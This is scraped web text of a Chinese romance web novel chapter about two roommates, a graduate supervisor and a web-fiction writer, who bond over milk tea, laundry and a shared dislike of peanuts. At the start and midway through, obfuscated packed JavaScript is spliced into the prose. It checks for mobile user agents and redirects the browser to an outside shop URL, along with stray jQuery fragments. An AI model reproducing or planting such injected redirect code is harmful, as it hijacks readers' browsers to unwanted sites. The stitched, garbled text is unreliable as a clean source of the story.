d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17165643|196702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 陆南川嗯,看唐锦书身后的几个小朋友都站着,示意他们也坐,“都站着干嘛,没位子了?” 唐锦书顺手拉下身边的师弟坐旁边,让其他几人也坐,边打开文档。 今天要讲初稿,两个本科生学弟你推我搡地颤颤巍巍各自选座坐下。 “张漾,先看你的。” 陆南川没精力知道他们的想法,随机点开一篇文章,等对方也打开了后,同步从第一段开始看过去给修改意见。 一个上午带着手把手改了论文,结束时快到饭点了。 最后一个是唐锦书,她的文章整体没什么问题,只需要在参考文献上多下花点精力。 陆南川下扫了眼时间,也不打算拖吃饭时间,讲了要改的地方后,放人:“先去吃饭吧,待会儿我把参考目录发你,下去多看几篇。” 唐锦书合上笔电,回答说:“好的。” “对了。”陆南川叫住她,“今年团建的事你回去征寻好师弟师妹的建议,组织一下找个时间。” “好的。” “还有问题?” 唐锦书问:“经费的话还是按照去年的指标吗?” 陆南川嗯。 唐锦书明白了:“那老板没什么事,我就先撤了。” “去吧。” 走完之后办公室骤然安静下来,校园广播里放着时下短视频里火的歌曲,除了副歌其他的旋律算不得好听,歌词也咬不真切,节奏倒是轻快。 天空湛蓝,教学楼下的树芽经过谷雨的滋养,绿意繁茂,无风的日子天气总是明朗得让人丧失动力,只想躺下。 夏听雨双手贴在墙面上抻腰开背,整个人像只壁虎扭贴着墙面,仰头望着天边堆积的一圈云翳,心情无端美好。 这样好的天气就适合睡觉。 奈何她已经睡够了现在精神正好,在阳台跟着视频坐了一套拉伸运动之后,闲来无事的她决定把衣服和被套洗了。 因为全职她平时出门的机会少,无论什么季节基本都是几套睡衣换着穿,洗衣服的频率低到一周都不一定洗一次,这次的衣物都是堆了好几天的。 洗衣服时发现脏衣篓里还有两件陆南川的衣服,看颜色和款式明显是他凌晨帮她煮螺蛳粉时穿的那套,她也一并收起丢进洗衣机搅了。 趁着洗衣机洗衣服的间隙,她回房间将写好的章节翻出来修一修错别字。 听到机器停转的声音加快速度修完尾巴,起身去晾衣服。 拿起陆南川的衣服穿衣架时,眼尖地扫到袖口上沾了几个油点。应该是帮她下料包的时候不小心溅到的,油点不大,加上洗衣机没法局部选中清洗,因此油渍没能去掉。 夏听雨拿到卫生间沾了点肥皂手搓干净,再挂起。 她看着一排的衣服,双手叉腰,举起手机咔擦拍一张给乔曦。 【瓦达西真是个中国好室友,陆南川回来不得感动死!】 【骄傲地挺起了小胸膛.jpg】 乔曦:【棒棒的,给你点个赞】 夏听雨问:【你在干嘛呢?】 乔曦回了张照片,在一家店里拍的,面前摆了四五个套着统一logo杯套的纸杯:【朋友加盟的奶茶店开业,过来捧场】 夏听雨喝过这家奶茶,一款主打“健康、轻食”的茶饮品牌。宜市本地的品牌,近几年尤其去年迅速扩张到了省外,在奶茶界也是独一份的存在。 夏听雨馋虫被勾了起来,也想点一杯。 点开外卖软件,看到二十五起送和配送费人的双重buff叠加人都麻了。 呜呜呜她就想喝杯奶茶啊,为什么要对她这么残忍! 夏听雨烦闷地倒在沙发上打了一套空气,翻滚中视野里钻进阳台上晾晒的衣服。她目光定了定,腾坐起来,跑过去抓住灰色T恤,圆润的杏眼骤然擦亮。 有了! 13. 第 13 章 13 收到夏听雨微信时,陆南川刚走出电梯到家门口。 他边开门锁边点开大图。 照片里,衣服圆领口被她添了个流着两行宽面条泪的表情包,而她手里握着一把比她手腕还宽的水果刀横放在假人脖子上,为了全套拳头还戴了海盗眼罩。 【物主是吧?】 【现在你的爱衣在我手上,如果不想它被撕票的话就乖乖按我说的做】 亏她想得出来。 陆南川不由勾了勾嘴角,低笑出声,撩起眼皮看向沙发上的“绑匪”和她手上的“人质”,敲下回复。 L:【撕票吧,我不止一件爱衣】 听到笑声,夏听雨抬头,对上他饶有兴致的表情,一惊,讶异道:“你怎么这么早就回来了?”那她打算威胁他帮忙带奶茶的计划不是泡汤了? “家里有衣服被绑架了,我回来看看其他的还安不安全。”他嘴角噙着笑,说得一本正经。换鞋间隙瞧见她手上还握着刀子,沉声提醒,“刀尖不要朝着自己,容易划到手。” “欸不会的,放心,我有数。” 陆南川眉头依旧皱着,朝她伸手:“刀给我。” 夏听雨不以为意,张了张嘴想说她又不是帕金森不用这么紧张,结果对上他凝重的神情不由得闭上,心底生出小时候玩火被爸爸逮到时那种怕挨揍的拘谨。 她下意识坐正,双手捧着刀举过头顶递过去,一副生怕被打的乖巧样看得陆南川无语,接过刀子放回厨房去。 夏听雨看着他的背影,呼得松了气,捂着胸脯纳闷嘀咕:不对啊,他又不是爸爸,她干嘛心虚? 她自我唾弃一番,拿起手机,看到他的回复,转眼望向旁边的上衣,捏着领口提起在空中,垂眸,再抬起,将绑匪戏份继续到底:“既然你已经没有利用价值了,那就安心地去吧!” “你想利用它做什么?” “艾玛,吓死我了!”夏听雨被他突然的出声吓了一跳,嗔道,“陆南川你走路都没有声音的吗。” 陆南川接住甩飞的衣服,道了声抱歉,继续追问:“所以你原来想用它威胁我什么?” 夏听雨幽幽叹气:“不重要了。” “不能说?” 他一直在追问,夏听雨只好坦白:“我以为你要晚点才到家,想让你帮我在天街带杯奶茶的。” “为什么不点外卖?” “太贵了,我不配。没券就算了,起送加配送都赶上五十了,家里有矿都不敢这么挥霍。”更何况她只是一个千字卖三分,熬夜写文的扑街。超过二十的奶茶喝不起。 陆南川闻言了然地点了点头,折着衣服,闻到上面有一股淡淡的薰衣草香,他这才察觉衣服洗过,翻过袖口查看,上面的油点子果然不见了。 他明知故问:“你帮我洗的衣服?” 夏听雨嗯:“看到后就顺手扔进去了,反正都是洗衣机洗。” “谢谢。” “呆久不(不客气)” 坐了一下午,屁股都坐麻了,夏听雨干脆收收衣服当活运动一下。晒衣杆上除了一件陆南川的裤子外都是她的。 夕阳渐落,云朵赶在离别前发出爱意的表白,随后红着脸踩着虚浮的脚步飘荡。 陆南川提步缓缓踱步过去,帮着一起收,一件件遮挡视线的衣物被收下,他转头,“夏听雨。” “嗯?”她从一件天丝裙后面探头出来,“干嘛?” 他问道:“晚饭要不要一起出去吃?” “不想出门。” “请你喝奶茶,谢谢你帮我洗衣服。” “那你谢洗衣机吧。” 陆南川垂眸:“要是我执意邀请你呢?” “为什么?”夏听雨把衣服往怀里拢,觉得奇怪。 陆南川视线上抬,错开她探究的目光,随口找了个借口:“今天刮彩票中奖了,散一下喜气。” “真的!?中了多少?” 作为从来不买彩票又天天嚷着让我中五百万的一员,夏听雨激动地抱着一堆衣服哒哒上前,明眸扑闪,逼得陆南川往后连退了几步,后背抵着墙面。 曝晒过的衣服漫溢着浓烈的薰衣草香,他手掌撑在身后,呼吸停滞,微微后仰着脖颈清咳:“秘密。” 夏听雨失落地啊了声后退,但也理解。财不外露嘛,他们也没熟到能袒露资产的地步,只是在听到他二度邀请时,这回不及思索地答应了。 眼下出门为时过早,正好夏听雨也需要拾掇,约了六点再出门。 时间一到,陆南川来敲门。 “马上!”夏听雨唰唰梳了两下刘海,从门后挂的包包里取了只搭配的背上开门,散开杯压住的头发,“走吧。” 她换了条杏黄色及膝小碎花连衣裙,怕夜间有风降温外面还套了件米色开衫针织,露出明显的锁骨,陆南川撇开视线。 到了门口,抓住她的手臂,阻止她欲弯的身,问道:“想穿哪双?” 夏听雨把着柜门往鞋柜里探梭了一翻,选了双单鞋,“戴珍珠那个。” 陆南川取出鞋子放在她脚边,随后自觉伸出出手臂给她搭着当支撑,等她穿好。 到天街就十分钟,没有开车的必要,他们两走慢慢散步过去。 工作日的商场即使饭点了依旧没多少人,略显冷清,倒也方便他们吃饭不用排队。 都说现在干餐饮必亏钱,但从电梯口过来还没走几步,夏听雨手里已经集齐五张新店传单了。 新店开业折扣和低价团购的活动都挺不错的。 夏听雨左瞅右翻,选择困难症都要犯了,拉住继续往前走的陆南川,转向他几张传单在身前并排成扇形展开,“你选家你想吃的吧,我挑不出来。” 陆南川其实无所谓,他轻抿唇线忖了忖,收走她手中的传单藏到身后,提议:“那要不要来个小游戏?” “嗯?” “从左到右随机说一个数。”他说。 “开盲盒?”夏听雨瞬间明白了他的意思,”这个刺激!” 陆南川嗯哼,修长的手指快速打乱好顺序,“挑吧。” 未知的事物对人类总是有股莫名的吸引力,夏听雨激动又忐忑地合掌对搓了搓,报了个数,“左边数第二、不,第三张。” “确定了?不能改哦。” 搞得像在赌场一样,夏听雨更紧张了,双手攥在胸前,点头,脑子自动播放一段有节奏的密集鼓点,噔噔噔噔噔—— 陆南川嘴角噙着笑,看她频繁地眨眼,故意放慢动作,缓缓把手收回身前。 夏听雨深吸一口气,清点的食指停在一家名为“渝家有菜”的店上。而且他们两恰好就在门口,都不用多走只需要拐个脚尖,她有些惊讶,感叹命运。 进门找了个靠窗的位置,听推荐点了三道招牌。 菜上得挺快,开业福利赠送了一碟泡菜花生。 “你好——” 夏听雨刚想叫服务员换道小菜或者给个空碟子,就见对面的人扯了张纸铺在桌上将碟子里的花生粒挑了出去。 服务员见她在叫,过来询问:“有什么需要吗?” 夏听雨目光停 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168379|196702||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在堆起小山的花生米上,扯了扯嘴角提起快空了的茶壶给她:“可以再帮我们添点水嘛,谢谢。” “好的,请稍等。” 等服务员离开,陆南川也将花生粒剃干净了,放下筷子把菜推过来。 夏听雨没动,盯着他。 他端起添好水壶:“怎么了?” “为什么要挑出来?” 陆南川倒水的动作停顿半秒:“什么?” “花生。”夏听雨指指被挑出来的花生粒,靠近桌沿手肘平放在桌面上,明润清亮的杏眼闪过思索,“你应该也不知道我不吃,所以——” 陆南川心提起。 “你也不爱吃花生对不对!”她一脸道出真相的自信。 “……” 陆南川心口一梗,端起苦荞茶浅抿一口,茶水入喉,清香过后反出一点苦涩。 他忍住翻白眼的冲动,含糊地应了声嗯。 “我就说嘛。”夏听雨也揽过茶杯,捧在手心,修剪整齐到圆润的指甲在玻璃杯上轻敲着,恍然大悟,“怪不得你不给我螺蛳粉里放花生,我还怀疑是不是店家偷工减料了。” 陆南川沉默:“……” “不过后面我在垃圾桶看到了。”她自顾自说着,好奇道,“话说你为什么也不吃花生啊,因为过敏吗?” “没。” 陆南川视线扫向旁边,转动着水杯淡淡回道:“单纯不喜欢。” “巧了,我跟你说我也是。”夏听雨深有体会,一副遇到知己的开心,食指挠着脸颊,“也不是说不能吃,就是觉得不好吃,有点苦,还有鼓怪味,像——” “放烂的鸡蛋,腥得反呕。”陆南川接过话。 “没错没错!”夏听雨认同地直点头,不可思议望着陆南川,难以置信竟然有人能精准描述出她的感受。 夏听雨小时候父母外出打工,她的整个童年都是跟着奶奶的。 老太太性格豪爽热心肠,在社区里出了名的人缘好。那时邻里间人情味也浓,今天你送我一袋橘明天我回把菜,你来我往。有天不知道谁家送了几株从地里现拔的花生给她,老太太疼孙女,平时有什么好吃的新鲜的都会第一时间喂给她。 老太太专门剥了几颗饱满的花生粒给夏听雨吃,生花生有一股说不上来的涩味,小孩子不喜欢这个味道,一进嘴就被熏呕了。可能是初尝试就太过深刻,后来哪怕是炒煮或者其他做法,她都不乐意再碰,偶尔误食就会觉得有股臭蛋味。 夏听雨哇:“没想到我们还有这种默契,太巧了。” 她举起水杯要为这个小默契碰杯。陆南川不配合,她就坚持地追着他闪躲的手,如愿碰上杯子,笑颜可爱。 陆南川抿着唇角,心底哂笑。 哪有那么巧的共感,不过是他无意间听到过她和她同学的对话,记住并重复了一遍而已。 夏日天色落得迟,傍晚时分,灼眼的红霞倾泄在天空。 校园超市里学生拥挤,陆南川拿了瓶水刚挤出来,耳边便钻进了一道熟悉的声音。 “不是过敏啦,就是单纯的不爱吃。” 他拧着瓶盖循声找去,她和女同学在丢垃圾,女生手上有一瓶打开的黄色装MM豆,左手心倒了几颗给她。 夏听雨抬手谢绝:“你不觉得花生吃起来有鼓怪味吗?” “没有欸,什么怪味?” 夏听雨也不知道怎么形容,挽着女同学的胳膊沉思地呃了半响,才说:“像放烂的鸡蛋,腥得反呕。” 怪异的形容,跟她一样叫人深刻,即使多年依旧难忘。